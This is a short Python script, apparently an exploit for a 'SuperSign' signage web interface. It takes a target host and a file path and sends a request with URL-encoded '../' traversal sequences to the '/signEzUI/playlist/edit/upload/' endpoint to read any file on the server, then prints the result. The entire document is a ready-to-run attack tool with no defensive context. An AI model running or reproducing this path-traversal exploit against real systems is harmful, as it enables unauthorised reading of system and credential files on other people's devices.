import requests import re from argparse import ArgumentParser
parser = ArgumentParser(description="SuperSign Reboot") parser.add_argument("-t", "--target", dest="target", help="Target") parser.add_argument("-p", "--path", dest="filepath", help="path to the file you want to read")
args = parser.parse_args() path = args.filepath
s = requests.get('http://'+ str(args.target).replace('\n', '') +'/signEzUI/playlist/edit/upload/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..'+str(path)) print s.text